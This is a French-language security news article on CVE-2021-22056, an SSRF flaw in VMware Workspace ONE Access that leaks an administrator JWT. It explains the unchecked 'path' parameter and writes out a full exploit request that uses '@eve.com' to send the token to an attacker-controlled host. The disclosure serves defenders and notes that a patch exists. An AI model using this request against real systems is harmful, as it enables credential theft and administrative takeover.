Une vulnérabilité dans VMWare Workspace ONE Access (anciennement connu sous le nom de VMware Identity Manager), qui fournit une authentification multifactorielle à d’autres services, permet d’obtenir un jeton JWT avec des autorisations d’administrateur en exploitant un SSRF.
L’équipe de recherche d’Assetnote a découvert une vulnérabilité dans la fonction responsable de la surveillance des instances de VMWare Workspace ONE, grâce à laquelle des jetons JWT avec des autorisations d’administrateur peuvent être obtenus. La vulnérabilité exploite un SSRF (server-side request forgery), qui permet à une demande avec les informations d’identification d’être faite à un serveur contrôlé par l’attaquant.
VMWare Identity Manager, désormais connu sous le nom de Workspace ONE Access, est utilisé pour fournir une authentification multifactorielle, un accès restreint et une authentification unique aux services SaaS, aux sites Web et aux applications mobiles. Ce produit est utilisé par de multiples applications d’entreprise dans différents secteurs pour fournir une méthode d’authentification centralisée.
L’exploitation nécessite des informations d’identification d’accès au gestionnaire d’informations d’identification VMWare afin d’appeler la fonction dans ‘/SAAS/API/1.0/REST/system/health/instanceHealth’.
Ce chemin est chargé de demander la surveillance d’une des instances enregistrées dans le service. Pour ce faire, il reçoit deux paramètres : ‘hostname’ (le serveur distant à surveiller) et ‘path’ le chemin du serveur distant à appeler. Bien qu’une liste blanche vérifie que le premier appartient à l’une des instances configurées, le second n’est pas vérifié et peut être utilisé dans l’exploit. Si le code de la fonction est vérifié :

La première conditionnelle construit l’url en utilisant le ‘hostname’ et le ‘path’, et bien que dans une fonction précédente le ‘hostname’ soit vérifié (par exemple ‘bob.com’) en ne vérifiant pas si le chemin commence par un slash (‘/’) le symbole @ peut être utilisé (par exemple ‘@eve.com’) pour construire l’url ‘bob.com@eve.com’, étant ‘eve.com’ le destinataire réel de la requête. L’exemple complet de l’exploit serait : « /SAAS/API/1.0/REST/system/health/instanceHealth?hostname=bob.com&path=@eve.com ».
L’url construite à partir de la conditionnelle ci-dessus sera utilisée dans la fonction ‘getStatusFromRemoteHost’, qui fait une demande à l’url en incluant le jeton avec des autorisations d’administrateur. Si le serveur cible est contrôlé par un attaquant, comme dans l’exemple ci-dessus, l’attaquant recevra le jeton :

La vulnérabilité a été identifiée comme étant CVE-2021-22056 avec un score de 7.5 (niveau de risque élevé). L’équipe de VMWare a publié un avis concernant cette vulnérabilité et d’autres, qui sont déjà corrigées. La vulnérabilité a été découverte le 5 octobre 2021, et résolue par VMWare le 17 décembre. Il est recommandé de mettre à jour dès que possible la dernière version disponible afin de résoudre ces problèmes.
Plus d’information:
https://blog.assetnote.io/2022/01/17/workspace-one-access-ssrf/
Laisser un commentaire